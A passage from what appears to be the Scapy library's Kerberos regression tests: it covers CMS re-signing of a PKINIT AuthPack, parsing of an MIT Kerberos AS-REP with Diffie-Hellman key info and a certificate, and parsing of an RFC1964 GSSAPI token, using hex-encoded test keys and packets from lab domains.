d0c41cf17d3801136424cdee252f036a8033755959f6ba4d5207402619e35f8bc1cd41956d1f921b5b814ffbe4571a1da43007e9ab34b38224cbe98b713a968755e7b956a93dd9ee335888b79a9d4ef9ee2711b8713f0281807a131ba148b556c75988ea58f8f312f6328700b5302ccef39a2dbdfc11e6efe78ce406580cfbe18cfa2f141969798fb872d74a5702ef75f8763928adb8b06913a74ead96369a50f79ee1d827552d1449da6812f3e0f8ce06da52ece5eec29536a7800393b98b17c24268bb3cbafbfcc50381f79807cb47ff21d8e58e4337d3490281803c8da66fe2c49b6bdf032409813f3ae62edc397acad1e54ca6c975908be11f4e774e4061c96089c33b5df0f082a7ca100425ed069f4d464559a78ec28048960ead2d1c002f40b4ab8451b4f53d1648aba588ec117ac87d05c19ca67466c3c12dfd270c1ca69161908b1148f9bb9913cfbd86dc7730933ba903d07345b5fdfd3902818100852917f4d9244d06f54572f7c837069bfb3541e420444315cf3759d65d038d45135869c3bd97ab02c9697cdc971eaef6d5089adce124d69862d6040dbffb13d08b97f2b2ba74a673c6a3d327e07aeece4c72de22844ffdc5d989308552ca0d324c381fbdb8675f8408f26200dcd8c756778b46a80fcea2b60ba3017380871ba4'))\n\n# Resign\nsigned = cms.sign(\n    authpack,\n    ASN1_OID('id-pkinit-authData'),\n    cert,\n    key,\n)\n\nauthpack = cms.verify(signed, ASN1_OID('id-pkinit-authData'))\nassert isinstance(authpack, KRB_AuthPack)\n\n= PKINIT - Parse AS-REP with CMS structures (MIT Kerberos)\n\nfrom scapy.layers.tls.cert import Cert\n\npkt = Kerberos(bytes.fromhex('6b82109730821093a003020105a10302010ba2820987308209833082097fa103020111a282097604820972a082096e3082096a808209663082096206092a864886f70d010702a08209533082094f020103310f300d060960864801650304020105003082012b06072b060105020302a082011e0482011a30820116a082010a03820106000282010100ffb1e474ea4bb6c9248cec29ddf54feac8bf6a3261fd25dfc32e258e0056fb2caf4fb76f90961d706b98c0b16fedadf049aa2c3dda6e5eb42933828b932b8dd10f2e00caa1eb2901df080805fbe8d00cae67e9e35e9c197c362416d09fbfa5ef10e556b7993c7501566156dd431e5ae35eb9d00b86ec529b1af887b7671de382ddf4ec2ce87d71fe1ab3fa6d0338bb9c9d2794feba33356b149bc3d1745f4f2feca0ae97f62aaf3314fa1464c844fc016dd82e3008e2cd3cc762d0cc264981497342820f8c8f4aef29147346aea727cc24c3e64f474a5a2448325123d8d217fb65eaabbb7aab36db0e905e5df46de3686bc94581580924f0226385d2db6c599ca10602044e744899a08206303082062c30820514a00302010202131b00000003b9cb9e577efbe605000000000003300d06092a864886f70d01010b0500304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d4341301e170d3235303932303232313232395a170d3236303932303232313232395a301b31193017060355040313104443312e444f4d41494e2e4c4f43414c30820122300d06092a864886f70d01010105000382010f003082010a0282010100e6832a3e3ca595057e9f70733d34ea5153e4769dc95eb98d56d7b28e8c0390cdd7bfecf01b5f12931afe8d0a1c2e69b83466b3f8ef88c4b31f2c0a49bcee9fb7b78a7e71c6c69c260e606b96d9d2ba534430c6b5cd3be7ef98110e92a0175b66b0b501d32a39dc17f30033fd0c8fa508e5c781c2d130bc8dfd7cb3a8982bd65c16a15f175e7205337dd17b6f4358644db4e6ad3a0f83a2c605275ef0cf4ca2cf974386283d141f4fb0b1f6d72720b83e4155bd0ac39f6ca7723ca317ae6340f746b4c82195addce715e31928ee0e67cb357d3200ee0b26ee422008c8c3de5c1a5acae88e10c89edff4ccd8543f6eaa551c15ed5d8e756567e39c5d56edb948fd0203010001a382033b30820337302f06092b060104018237140204221e200044006f006d00610069006e0043006f006e00740072006f006c006c00650072301d0603551d250416301406082b0601050507030206082b06010505070301300e0603551d0f0101ff0404030205a0307806092a864886f70d01090f046b3069300e06082a864886f70d030202020080300e06082a864886f70d030402020080300b060960864801650304012a300b060960864801650304012d300b0609608648016503040102300b0609608648016503040105300706052b0e030207300a06082a864886f70d0307301d0603551d0e041604148994b7358e085091a011cd226c9305cdcb6b82a2301f0603551d23041830168014ab14d5ae948281f079726970b3b8f97003aa760c3081c80603551d1f0481c03081bd3081baa081b7a081b48681b16c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4443312c434e3d4344502c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f63657274696669636174655265766f636174696f6e4c6973743f626173653f6f626a656374436c6173733d63524c446973747269627574696f6e506f696e743081c006082b060105050701010481b33081b03081ad06082b060105050730028681a06c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4149412c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f634143657274696669636174653f626173653f6f626a656374436c6173733d63657274696669636174696f6e417574686f72697479303c0603551d1104353033a01f06092b0601040182371901a01204101d9d5575a78e1740b7be50767138da8c82104443312e444f4d41494e2e4c4f43414c304f06092b060104018237190204423040a03e060a2b060104018237190201a030042e532d312d352d32312d313332323235373836362d343033353133333636322d313134303736393232322d31303030300d06092a864886f70d01010b05000382010100205571d8ddc2bbb8cfd56b0fbb8d8b6e38ce376c76135f51f25c3f3a98094d59fee193d678b1ff310effa092985394e84ff033094c1889309e29146d239178e2171e192a7c3ae0ce6c653790f9bef3f3281a238c264c5a944e13fa3e97b7ee21e0c22a74b8ab81f4d0d7dc9a592f55efad413ab5041b123f622537e13733eeda845541e5ff8c9973dc5b482701d579f53c67a5ac3fed6c37b1501154d17661f70a252211e9e320269ab7e468bf3d1f1d65f106818122d05d4e2d4db03f1670f66fd9e711970886c7dae937184256023782771d579795d1c331ecd737d0e9d7bb1b4ca24606302bc9c7c10d8aebcfc8a4a2d6beb3fbd3abf14c2680f665f04e35318201d4308201d0020101305e304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d434102131b00000003b9cb9e577efbe605000000000003300d06096086480165030402010500a049301606092a864886f70d010903310906072b060105020302302f06092a864886f70d010904312204200916c67ea99156a2738927fc51c6ebee43cdb65d715406d1fb6d40daf49c65ca300d06092a864886f70d0101010500048201007fa8498cf70e6f0f9763eaba1f050dda9ca79d343e93312319a457f157586ea849584da69ae8a3ffe26171a9a8cbd3a4b39fb7c8959ebadf42a69c4c626abcd59aac719042b2b9c90ea81bb7593618641d2b498cd6bd65322ed3dcde8895a68b0889c804ce8526cfee27d664a3cd0cc9f1a74531d029cafe4de15bb14bb4d36659fe276f126cccf421c91db7d5be02fb8185cd0de03bee08f424fc48cb4c3f4294f3225752c09abc33ca358b43b5cf3b7df109e37051f757e08a3caaad1d77d9f310a9bd8ea263a00431b57bf4b37c3b0f998a47209a406531c8fa3ff0fd4aec04e3574b2485bc6ac01d077064b67846a71600b65ff6d417441e034c7bd080eca30e1b0c444f4d41494e2e4c4f43414ca41a3018a003020101a111300f1b0d41646d696e6973747261746f72a58205806182057c30820578a003020105a10e1b0c444f4d41494e2e4c4f43414ca221301fa003020102a11830161b066b72627467741b0c646f6d61696e2e6c6f63616ca382053c30820538a003020112a103020102a282052a04820526690c97f510509c672dac4e1436da9aeb5ac4fde72b75b5c1fcfab03aef11139b30b9d32b62f9c4de8e97bc5148563c5bc5fb031e1b1869c69c2991778190d7f27eeeac2ba5e59b54b1b10af66e526fced04f1dd7edd81da93984962183a50e39f82d6f90c9cc9441fec556432ec776a4b595c459cdcfe45489d360f6c950185af170a24897a4eb1127f9c85772fe0417733b254604cd704a15993b77ac18fb1fd8fddb9e888f8c05ffd4c7a5e519593c9e7588c92345ca6ca2e04f0c83231bcc90adccb189e98c2afd53bdb8e665f91d5c3aafde51c60e9b42e88de76261060090483a8dc2d129b66cc3890524004295b5ba440c0a00b352ce91616df2c9a0153e5fd072a9a356dba5e44d79c032afc4d985a180d8fb1f9bba46be602a73ba7c4098683d6ffac4e456b0e51e9473f8ff40e50b437d370b087e1d41089d9f382a17e212d13244f95ad1fb629769c5d53b2ade80c6690fa845efb590a2c6e81851ea9ca1ba319c3a8f86bc62bbcbabf3ecc39d3f6988157a4c390ada2f42b7c577438bcfdb4136bbff92c3c32eb22213e14c51de330f4df4d493bcaa322a3eea01fe504bd03c18786ed385ca205af4396eb6c7b1cfa0e13bcf3e00452461b5c1f9761ef5edb35cfa79fdea04a5420b9762d6f2cf74d694b35c812ba62620c4e6e90ee6483768e38fa0011706d2c093a22202707c5c90cf3ea4c4f17c017f9d7e85a7cc555bf9c9bd4c1337282b5de0395d123ca25c2a9c9eca5cdc31dfd54db75f43eadadd7c7e3a3611a6c1a806c7ff5b0d0b102155978c745a9b4a022018009641ad9197492de70dee4248d159a2b2c5d6adbf253ac04dbe5713cf2878ef440aa68989b2655687a7b35f6a547a8c5a076004c58baa1b231bec7501f5f5bb9f1c66c8cc22d35641cd4442244f349d0351263bb2f1e11b4f4ec26044c87f93a1a963649f5be7a8d61306fe47a10427ac14ba6b9b09ec69950e5176e933cc1fdce258c62ccae4011e8eccab0a36b9ac1d21d36df38c32d65f438d25defa0eb5c577f5f2458304679a9934796be00d3335b7fee1f7616768f0547bd949b764ed2b4684951b35b57a7168fe79d8cd7580dfecddbc30afb8d47032f12cc5b2ee1c16a731dd977f2476989f465fdf6e08992ba566264d1e0a8f0f7274533293e2aa1c418397dc89f9f48d5d9dc3cd82548327be0ebc9b3edeb00f6cf0df8b339d10daae5bb02e9572881fbc5246d5db408fd9cf16209a4ef6b2fc6765d9d9092054b362494be360847b12927ea2fd73b89d345c22fe662f2096952edb69983f147eee5635f40c0bd7bca09b61f644a9df3ecccd0fd0d9c245b4fb224e415bfd58637d341214bc8b2e962df1e7845da642ee4b7a5343c8cee746f6da89cbe3c89f278c6d42f9a743d97ad2c767f1514458db99ca5f29175609e3a7a704b21de8c3cee0646eb60dfb5ddf6824008232dcbdf81b76b941c8af5c0788384bf61f694d80a00b9dc28ae8b0ff782d0b7fcefd60114518401534974c59b88ca89bb4f4a2a5e6e71d7f08342f830338981f534a1affc8ad28b9ec8c54b64321aaafb1d7f049719fda712def001492d6d404bf1da6043687f82378857453b0539a6cd7f452f4b789944a0ca6f238fd321687ac0685a81c9e77f113b7f5c1de3fba74b88f4e0c6cec90e230f16099f9fdb74c57879a98e4a1a85ad672021afc9199fba18c82a7e57c5655ee8d9e8e9cb6d31bc3920d7dbfe667c315b971f99ce2a3579cd1de9d7bd096dc443a1c0dc92e5f7e83657cf38020495585427720ecac4519162cced74d48c294fdb11086e97585d1a9bfaef4af44691f34341fb5e1f42113f82b597bc3e5f5e877116df8a682014a30820146a003020112a282013d048201396d08189c79793463088601b1497f77742a2980900f4c872aa340d07b36c4ff9f9b97740c6f18a15b2277c9c27f1ae7bad8a5899952ca36d3c2d0aa1e6c3137be54a8db29da9d4af03d72f7b9aea0b9f0a099a2421368e875b3cf6fc85454502e74635dd4683b061914c713cb2c551d8a46fdc47bd784c1d2925374cd0f48d4f917ca073563fe570f55f72d64f2de1776bc38e3aa79f0571ad7c64247d80d83fa3bef9f53dc3454634b78a5f207f01160fdd8a8ff4dbdfe2a2d46ccbf84eaf45299b9379b99a1eec016c143d3dc08dc3d9599e5aa62cdf5dc016fab8deba39d81c4d6c5eea684532bb6697ab61ab88d8ac43c5e36bcadd380b31d19dd8475ee68369ff5d8db5cf7733aafe82d96cc2ab68112216d37c44ddb37b336483d75f0566a713cd508a0c66ab7f13d70541e79e8d2038b42a415416d7d'))\nassert isinstance(pkt.root.padata[0].padataValue, PA_PK_AS_REP)\n\npk_preauth_resp = pkt.root.padata[0].padataValue\nassert isinstance(pk_preauth_resp.rep, DHRepInfo)\n\ndhrep = pk_preauth_resp.rep\nassert dhrep.kdf is None\nassert dhrep.serverDHNonce is None\n\ndhkeyinfo = dhrep.dhSignedData.content.encapContentInfo.eContent\nassert dhkeyinfo.subjectPublicKey.y.val == 32278489782659599666680674691617740192025480882925125716566496945858046289374524666228146919540757354337943084659625408278197912527087491522001624804516413386428300641892927787473470630419131055568103619174060490124485923206334065346522123445748745649691028061114330596909397680493778434408463632147264526545631660227144914565541288496092534758943967886391259750733078319727386349536272439561387290863606045665780539098807180454586714490639623651326318384483940150461818440884045020628878002871357420738487965588236164888287449564150835059541717449563619851058161535035543798732468578054040817729345202791857657764252\nassert dhkeyinfo.nonce == 0x4e744899\n\ncertificates = dhrep.dhSignedData.content.certificates\nassert len(certificates) == 1\ncert = Cert(certificates[0].certificate)\nassert cert.issuer_str == '/CN=DOMAIN-DC1-CA/dc=DOMAIN'\nassert cert.subject_str == '/CN=DC1.DOMAIN.LOCAL'\n\n+ Advanced Kerberos tests\n\n= Test Kerberos InnerToken wrapping (ancient RFC1964)\n\npkt = GSSAPI_BLOB(b'`\\x82\\n\\xc2\\x06\\x06+\\x06\\x01\\x05\\x05\\x02\\xa0\\x82\\n\\xb60\\x82\\n\\xb2\\xa0\\r0\\x0b\\x06\\t*\\x86H\\x82\\xf7\\x12\\x01\\x02\\x02\\xa2\\x82\\n\\x9f\\x04\\x82\\n\\x9b`\\x82\\n\\x97\\x06\\t*\\x86H\\x86\\xf7\\x12\\x01\\x02\\x02\\x01\\x00n\\x82\\n\\x860\\x82\\n\\x82\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x0e\\xa2\\x07\\x03\\x05\\x00 \\x00\\x00\\x00\\xa3\\x82\\x03\\xf9a\\x82\\x03\\xf50\\x82\\x03\\xf1\\xa0\\x03\\x02\\x01\\x05\\xa1\\x13\\x1b\\x11SAMBA.EXAMPLE.COM\\xa2\\x1a0\\x18\\xa0\\x03\\x02\\x01\\x01\\xa1\\x110\\x0f\\x1b\\x04cifs\\x1b\\x07localdc\\xa3\\x82\\x03\\xb70\\x82\\x03\\xb3\\xa0\\x03\\x02\\x01\\x12\\xa1\\x03\\x02\\x01\\x01\\xa2\\x82\\x03\\xa5\\x04\\x82\\x03\\xa1\\x8eA^\\xd1\\xa6!\\x0f\\x82\\xb9\\xbe\\x82\\xd0\\xe8\\x8c\\xd7\\x1bs\\xb7\\xb4&h\\xec\\xd6]\\x0f\\xdc\\xc30n\\x9f\\xc2\\xbb\\xf03\\x93\\x027\\x88_\\xd7\\x85I\\x81\\xf1\\xba7\\xcf \\xa4\\xf4\\xa3\\xc5C\\x1d\\xe8z\\x1f\\xb7\\x97\\xb1\\x1e\\x93\\xcc\\x1e\\xc2\\'\\x94\\xee\\xf3v\\xael\\x95\\x9d5x\\xde\\xcf\\xad\\x16\\x1c=\\x0eDbb\\x9e\\xbaE\\xfc\\x9d\\xddnu\\x19\\x1c\\xa4x\\xf0#\\xc8\\x1fTI:\\xfb\\x94\\xd7#,\\x9f\\xf8\\xca\\t\\xf5\\xdd\\xcf\\xd4\\'qLy\\x85\\xac#\\xcb\\xde\\xe1\\xc1\\x02+\\xf8\\xf4{.\\xe6\\xd7`)\\x9d[\\xfd\\xb8\\xc3+\\xcaF\\t\\xa1\\x97\\xd4\\x8c\\xe3.\\xa4\\x80\\xd1v2\\xf8\\xff\\xb7\\x89y\\x98\\x13&\\x94\\xe4\\x95\\\\\\x12l\\xd8j)\\xa7\\xa4^\\xed\\xa9\\xee\\x92\\xaf\\x99a\\x18\\x08\\x96M\\x8d\\xe2\\xed\\xf4J\\xf9\\xa8\\xb9L0b6\\xfc\\xa6\\x82\\x84\\xa5`Z\\\\\\xe3\\x8e\\xaaW\\xffj\\x94\\x05\\x88(D$\\x84\\x11\\xe3f1\\xfb@\\x05g\\x00\\xad\\xf9\\x92\\x9a\\x92^/\\xe5\\xd4J\\xbd\\x1bH\\x98\\xe4#\\xb2\\x87S^p\\xb30\\xe6hdK\\x1fpp\\xde\\xf3\\xf8\\x1b1C\\x9c\\x9f^e\\xfa\\x1e\\r%\\xf6@\\xe1=#\\xd6\\xbf\\x82\\x8c\\'\\xca\\xcf\\xf1\\xda\\xaa\\xdch\\x7f\\x99\\x8e\\xa8{4_\\xb6\\xc1\\x1a\\xb2\\xd0\\x16Pfb\"\\x0b\\xde\\x02\\xb8)=\\xbbF\\xdfg\\xd3\\xa4CGb\\xfd\\xe3\\xc0\\xff\\x96\\x8a)\\xd9\\xd4d\\x15\\xaa\\x01\\xa7\\xa6\\x8f\\x81\\xf3\\xedl\\xeb\\x8a@\\x86\\xf6dv\\x17\\xc4\\xda\\x14a\\xbb5\\x80\\x08\\xa4BPR\\xe3);\\xb7I\\xd3\\x90\\xaa\\xb5\\x02\\xcb ?\\xd2\\xb5T\\x9d\\xd0Ho`\\xb0r\\xd9R\\x9fI\\x05\\xf9b\\xd9\\xa6\\xa8\\xae2Q\\xed\\x1f/@\\x1b=bC\\xc8\\x1d\\xbb1\\t\\xc7\\xabBNK\\xf4\\x0f0Q\\x13\\x8e\\'\\xf9\\x91\\n\\x90\\xa4\\x97\\x81S\\xda7u\\x92<\\xa7@\\xa0LO\\xb7\\xa5\\x88\\x0b\\xa8\\xd8p\\xbbs\\x97f\\x17\\x16\\x87\\xbe\\xff\\x84\\xcf\\xbf\\xba=n\\xd0w\\xeb\\x99x\\x03\\n\\xb5\\'\\x0ewQ\\x90;\\xed~}}\\x1a\\xaf\\xe5\\x9d\\xc4r\\xe8\\xa6\\x97\\x07AYl\\xec\\x8b\\xc8\\xf5I#\\x0f\\x04#\\xf1\\xf9\\xec\\xdf=\\xd7\\xc25\\tC\\xa2\\x00\\x0cr\\xa7N\\xfa\\x1d\\x18\\x0es\\x05\\xef\\x11\\x84\\xc2}\\xee\\xecKW\\xc3\\xaeo\\x8eS\\xa3\\xa2n\\xb3\\xd3\\xf1\\xb0\\xfc\\xd8\\xe8\\xd7jp\\xf7$\\x11\\xd2\\xafZ\\x83\\';*\\x87\\xa6\\xc2\\n\\xd9:\\x8cy9d8\\x1a\\xf7B\\n\\nr\\xa9M\\xcf\\xf5?\\xe1\\xa0\\xdca\\xd3\\xc9\\xdc\\xc6\\x04KyQ\\x7f)g;\\xc8s?0\\xab\\xf7\\xd7\\xd7\\x85\\xdd1]\\xd2\\x12\\xb5\\x1c\\x87\\x05/\\xf4\\xe4\\x8ci\\xe3+\\xdeH\"\\xc2\\xe7Z\\x17\\xaa  \\xd2\\xbaKr\\xcc\\xd0\\xa9\\x1d\\xe2u\\xab\\xcc\\xd9\\xc0\\x05\\xc5\\xf2\\t\\xf5\\xb1M\\xa4\\x84\\x1fS\\xfe\\xb1\\x18r\\x81\\xba\\xc9\\xfe\\x8f\\x01\\x8c\\x12\\xd2\\xa6Jy\\n\\x98\\xe9\\xd1\\xfa\\x89\\x9c\\x84\\xf8\\xd5\\x7f3\\x92\\'\\xed\\xa9\\xc3\\xc1\\xcd\\xcd\\xb9\\x19\\xec\\xb2\\x08\\xa2\\xd0\\xc1@\\x80\\xf1\\xc1\\x1b(\\\\\\xd3\\x17\\x04\\xf8\\xbf\\x1a\\xb4>.\\xcbzP>R\\xe9\\x84V\\x04\\x92\\xf3\\r\\x9a\\xd2\\x99\\xf0q>K\\\\\\xb5f\\x8e\\x9c\\xc2\\xb3\\x1f\\xebL\\x19~\\xda^\\x1dY\\n\\x9d\\xd11B;n\\xcc\\xd3\\x1e\\x1d\\xe0\\xe2o\\x14\\xd8_\\xaf\\'f\\r\\xe1 \\xfaD\\xaa\\xad7\\xac\\x81\\xd2\\xfd\\xf1-D\\xba\\xa8*\\x07J\\xbb4\\x1b\\x19ny\\x81\\x113\\x0e]\\xfa|T\\x91ayS\\xe8\\xf6y\\x9d\\x8b1\\xf5\\xbb\\\\\\xfb8JD\\x17Fq\\xd4\\x8aF\\x16\\x9ed\\x1cJ\\x864p\\x94k\\xe2\\xdd\\xdc\\x15\\xb7\\x0f*\\xae\\xa3@\\xc2\\x92\\xcd\\x17>|\\xc8\\xb7\\xd7\\x1ay \\x8b\\xbdZ\\xef3*~S\\x81D\\x12}$\\x0c\\xce\\xa7`\\xcam\\x9a4q\\xdfK\\x0eE\\xbe\\xbf,\\xfe\\x8a\\xe6\\xd0Q\\x03\\xe2\\x19\\xefx\\xb6`%\\xcb/\\xfa&\\\\\\x15\\xc8\\xa3\\x83V\\x18N\\xad\\xce|6r\\x01tW\\xa4\\x82\\x06n0\\x82\\x06j\\xa0\\x03\\x02\\x01\\x12\\xa2\\x82\\x06a\\x04\\x82\\x06]\\xbe\\x88N^mh#\\x18\\xc2\\xf0\\x8e\\xda\\xe5E\\xab\\xe8\\x811\\xd2\\x0e\\xd2q\\x96\\xf3\\xb6\\r\\xa2s\\xcf\\xe70s\\x0eF\\x1b\\x01~\\x9ev\\xcc\\xb0h`5\\x11\\x8d\\xb4f}\\xad\\xc9\\xbeGG\\xe4\\x1f,\\x08\\x8f\\xde}\\xad\\x0f\\xee\\x00\\n`j\\xb2\\x9fy]>\\xd3)w)8\\xc4\\x88\\xf3]2ea\\xce\\xf5.R1\\xe5G\\x87\\xeb\\xa8\\x0f4\\xcf\\x13\\xe7\\x1d\\xcd\\x16\\x00\\xe8\\xf5\\xc4_1\\x95\\xb6\\x16\\xa0b*\\xf6\\x8e\\xd2\\xd5\\x19s\\x1b\\xce\\x86\\xd4)R\\xa9\\x13i\"\\xe7}\\xda\\x8d_\\x961\\xb3\\x8b=\\xd3R\\xa9\\xb8c,\\xb3\\xb7#\\xdbt*\\x04\\x15\\xa5\\xa8f\\x80m\\xe8m\\x1b\\xb2\\xe9\\x1f\\x1f\\\\\\x1a\\xbb\\x90x{&@\\xc3v\\xa5#>\\xd2\\xb7\\xd1y\\x1f\\xf6&wz\\x88\\xe2\\xdd\\xdb\\xc0\\xbfP\\xec\\xbf\\x9a\\xff\\xf0\"\\xdf\\x9e\\xdd\\x87\\xb4\\x06)2\\x12\\xd7\\xad\\x99\\xf0\\x98\\xfdB6<\\x8d\\x1e\\xf5\\x0c0\\x9e+\\x19\\xa4\\x91E\\xcet5\\xbbz@M\\xd8\\x18\\t\\xdd\\xaa\\x16V\\x87Ii\\x0f\\xe5)P\\x0e\\xd32\\xbfK\\x06j\\x14\\xcc\\x8e&TZ\\xfa\\x89\\x87\\xe6\\xd0\\xe5\\xe5[`\\x97\\x13|0s\\x1c\\x841Y\\xbcT\\x19\\xa1\\x8b\\xef\\x16k\\xde\\xf6\\x0e\\x9fPA^\\xfe\\xa3S\\xd9-\\xab\\xf2{Y#b(\\xcb\\x13\\x1b\\xae\\xb0h\\x91wy\\xfd\\xff\\x01\\x13\\x92O\\xcc<\\xf1\\x88\\xb7\\x07\\xc5\\xe8,\\xa3\\x8et\\xe7\\x186FP\\xe9?\\x862\\x881\\xd3E\\x91\\xea\\xf0\\xa3I\\xba\\xc1^\\xa1\\x1b\\xce\\xeftZn\\xb1m\\x1ah\\xfa\\xe8\\xf2z\\xb8\\x11\\xa19Z\\x13Y{1\\x8a\\xa4\\xc5LRl(\\x91\\xf7\\xcaI7\\x13\\xf6\\xe4\\x1c\\xb1\\xf6!\\xe9;/U~\\r\\x17\\xcd5}J\\xcd\\x18\\xe0\\xae\\x1a\\xca\\xdb\\x99\\x02\\x13\\xbc\\x93\\xff\\xfe\\x82\\x90&|\\xf4\\xf2fI\\xbb\\xfc\\x81m\\xc0\\x94\\xcb\\x9a\\x0f{\\xd3\\xa2<\\x86g N2\\xd8\\x8f]NA\\x0c?\\x8d\\x80 S\\r\\xde\\xa6\\x87\\xd4\"W\\x9c\\xa1\\x18p\\xbf\\xc5e(\\x06Bc\\x1c\\x8e<\\xf8D\\xb8\\xd8\\x8b\\x88_Q\\nh\\xb6xW\\xd7\\xc1l\\x08t\\xce\\xc2\\n\\x06\\xb1\\x1b\\xe1\\x16x\\xe6\\xb9Q \\xba\\xdfa\\x97\\xa9\\x9c\\xf1\\xf3N\\x97w\\xf8\\xfd:!\\x93\\xa6\\xc7\\xfc\\xcd\\xf3\\x12\\x14\\xe5\\x8dB\\x9d\\xe2uY{3\\xc8bukA\\xfa\\x95\\xa5\\xa3\\xcc(-\\xf6\\\\\\x9f\\x14OD\\xef\\x0f\\x8c\\xde\\xd0B\\'<\\xd36hT\\xbd\\xa0\\'\\x89\\x1f\\'\\x15`\\xbb[\\xf8Zx\\xdc\\xcdx0)\\xc2\\x8dD-\\xa9m\\xe3\\xd7\\x91w\\x10\\x8aD\\xd37+\\x8b\\xf7\\xa7\\xa2\\x8d{\\x0c\\xd8\\x80\\xe1<)lg\\xb9\\xbfr\\x95^)^\\x0e\\xe5*\\xbfGk!5/$01z\\xf7\\xcf\\x86\\x1aF\\xf2V\\x12\\xa8w\\xad\\x070\\xf3\\x10\\x86\\xd6\\x19\\r\\xdd\\x88\\xbe\\xc4\\xef\\xbb\\xd2\\t,\\xa2\\xcd9\\xbd\\x11\\x03\\xed\\xc9X\\x98_\\x00\\xf5\\xfa\\t<\\x9d\\xfco/\\x84\\xca:\\x1e\\xc6A\\xb0\\x1f\\x8d\\x07\\x18\\x11\\\\WC\\r\\x7f\\\\\\xa0\\xea\\'\\xcc\\x96\\xc7\\xd8\\x9a\\xb4-\\r\\x88\\xc8\\x12\\x1f\\x8b`\\n#\\x9a\\x92\\xa9\\x86\\x85z\\x0ctB\\xff:\\xaf\\xbc\\xd4F\\xcf$R\\x8a\\x81\\xbd\\x84\\xe03F\\x95\\xa0\\xbb\\xdc\\xd9\\x7f\\xc9\\x91/\\xc3\\x9c~m\\x9d\\xbb\\xfd\\x8a\\x80\\xa8\\x81\\xb1VC\\xf5y\\x13N\\xa6\\x1dq\\x1bn\\xa0\\x83\\xeaQ\\xe4-\\xe3m\\x99\\xcf\\xe6\\xb2n\\xe7\\x0e\\xea*\\x01\\xb5\\xdb\\xf5P\\x03\\x96\\x82\\x91\\xe9\\xa7\\x9bm\\x9c\\x98\\xe3j\\x85UG\\xd9\\x0f\\xb5\\xb47\\xd18d\\x9f~VL\\xa6\\x98\\xf2.\\xf3\\x821\\xc8\\x03\\\\fP\\'\\xee\\x85\\xbf\\xdbd\\xc1\\x023\\xf9\\xb5D\\xda\\xe6Y\\x0b[\\x86\\x9b\\xbd\\x96z\\xe67\\x05\\xba\\x1f\\xfd\\x1f\\xb2F\\xf2P\\xbd<\\xd7\\xbdUj\\xb1@O\\xa2}\\x02C\\xc4\\x01eu\\x7f%b\\xb4\\xfc\\xe1D\\x02\\x8f\\xbfj\\xd7~E\\xd5^h\\xc8\\xc3\\xf9\\xb3\\x1e\\xf0\\xbb\\x02\\xfb\\x8c\\xc4\\xc2\\xa8&xn)\\x08^\\xc0H\\xbc\\x19\\xb7-a?N=?\\x93\\x97\\xb2Q\\xe0\\x04`T\\x1bS2\\xd8\\xbc3d\\xef?\\x1e\\xab\\xc2\\x82\\xcc\\xa4\\xe7\\xd9\\xe6\\xe2\\xd3\\xe9Q\\x83\\x11\\xf4\\xfb\\x82\\xa4y\\x176\\xaf\\xf4_\\xbf\\xa196\\xb4\\x05B\\xc7\\xb3\\xd2\\x0c\\x8c\\x18\\x95\\xe1\\xba\\x97=Y|\\x19k\\x0c\\xf2\\xb3\\x0fAV\\xd1\\x04\\xeffX\\xcd*?\\x03S\\x92\\x0b\\x85\\x00\\x99x+sh\\x07\\xd2zl\\xbbUS\\xf0A\\x1aS\\xa1\\x1fFRf\\xc6\\x9b\\x8dV\\x85\\x14kE\\xae\\xef\\x05\\x18Nx\\t\\xc8K\\xd2\\xfd1\\xc2\\xb9H\\xde:L\\xd5h%c\\xa5,$b\\xf9\\xa2\\xce\\xa6\\xe5X\\x11\\xb9\\x12\\xe7\\xd6\\x1d\\x1f\\x03\\x8e\\xba\\xc8>=\\x8f\\xca\\xdf\\x80U\\xce\\x16\\xb50w\\xaes\\xa9)\\xdd\\x863f\\xad2\\xc6t`\\xc1><O|\\xf5\\xd6\\xddO\\xa5\\xa8\\x9b\\xe8:\\xcd\\x17\\x8f\\xc2\\x16\\xf7dF\\x14\\xa2o$\\xe6+\\xc8C\\x03\\x80\\x17\\x94\\xb4n1\\xeb\\xc2\\xfe\\xda\\xda\\x01\\xba2b\\xf5\\xfcb\\x95\\x9e\\xb9 \\xa8P\\xf3\\x84X#\\xbeM\\x8a\\xaf\\xe1\\x88wq\\x18?\\x1b\\x1b\\x8d\\xaa\\x14\\x81!\\x06\\x1cj\\x1a\\xe9\\xde\\xa6=\\xeco\\x18\\x18?Q1$t\\xaf\\xf5\\xcb\\xdf\\xcc+*\\xfcaM\\x1c\\xa9\\x01C\\x8f>\\x9d;7o\\xa6\\xef\\x08}1S\\xb3\\xf7\\xdf\\xa6\\xa0@\\xae=\\xa3\\xb8H\\x89\\x0f\\xdd\\x7f\\xed\\xa4\\x19\\xf5\\x94\\xc91\\xb9B\\xca\"\\x93\\xc1\\x05&\\xbd\\x8c\\x82\\xdf;C\\xcb\\xd4R\\xc8>\\xde\\xd8j@\\x81\\xb6\\xa7r\\xe9\\xb5\\xb2\\xe0\\r:\\x8d+\\x89\\xe1\\xee\\xf5Aj\\x8d\\xfb\\xa0\\xd8?\\x06\\x10D\\xcc\\xa6?@\\'\\xc06^\\xfa^s\\xe6\\r\\x8d\\x1e\\x9cv\\xd6\\xce\\xda)Q\\x7f\\x83\\xba\\xe0\\xc7R\\x82\\xe9\\xbf\\xb8\\x88\\x12\\xe7\\x13\\xc4\\xc4/\\x8f\\x1d\\xde\\x197\\xe8\\x9aFe:\\xc33\\x02\\xbc\\x85q7\\xbc\\xde#\\x1e\\xdb\\x7f\\xf2#\\xda\\x80IT,\\xc5\\xe7\\xe7)\\x1a\\xb0\\x0e-\\xbe\\xf8\\x14\\xee\\xa1\\x82\\x1c\\x99j\\xe4}\\x84\\xb4\\xcc\\x10\\x84\\xean\\xc8\\x9f\\xe7=a2\\xa7\\x84\\xa1\\x87\\x00n